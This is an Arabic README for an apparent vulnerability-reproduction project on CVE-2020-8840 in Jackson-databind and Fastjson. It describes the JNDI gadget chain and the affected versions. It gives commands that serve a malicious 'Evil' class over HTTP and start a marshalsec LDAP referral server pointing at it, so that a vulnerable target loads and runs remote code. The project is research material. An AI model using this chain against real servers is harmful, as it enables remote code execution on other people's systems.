
Jackson-databind ثغرة تنفيذ التعليمات البرمجية عن بُعد (CVE-2020-8840) كود بيئة التحليل وإعادة الإنتاج
كود تحليل وإعادة إنتاج ثغرة تنفيذ الأوامر عن بُعد في Jackson-databind (CVE-2020-8840).
المشروع يحتوي على:
jackson-databind و Fastjsonmarshalsec-0.0.3-SNAPSHOT-all.jar المترجمثغرة تنفيذ الأوامر عن بُعد في Jackson-databind (CVE-2020-8840)، يمكن للمهاجم استغلال سلسلة استغلال xbean-reflect (org.apache.xbean.propertyeditor.JndiConverter) لتشغيل تحميل الفئات عن بُعد عبر JNDI وبالتالي تحقيق تنفيذ الأوامر عن بُعد.
تؤثر هذه الثغرة على بعض إصدارات jackson-databind و Fastjson.
النطاق المتأثر: 2.0.0 <= FasterXML jackson-databind <= 2.9.10.2

خدمة LDAP المشار إليها في الكود النموذجي تحتاج إلى إعدادها بنفسك.
WebServer
شغل خدمة HTTP، لتخزين الفئة الخبيثة (يوجد ملف في المشروع)
Evil.javapython -m http.server 2222

خدمة LDAP
قم بتنزيل أداة Marshalsec، وترجمتها إلى jar، وشغل خدمة LDAP، واضبط عنوان codebase (خادم الويب الذي يحتوي على الفئة الخبيثة).
لتسهيل الأمر، تم تضمين ملف marshalsec-0.0.3-SNAPSHOT-all.jar في المشروع (السبب الرئيسي لضخامة حجم المشروع رغم صغر الكود)، مترجم بـ JDK8.
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2222/#Evil

النطاق المتأثر: Fastjson <= 1.2.62
بيئة إعادة الإنتاج مماثلة لما سبق، قم بإعداد وتشغيل خادم الويب وخدمة LDAP بنفسك.
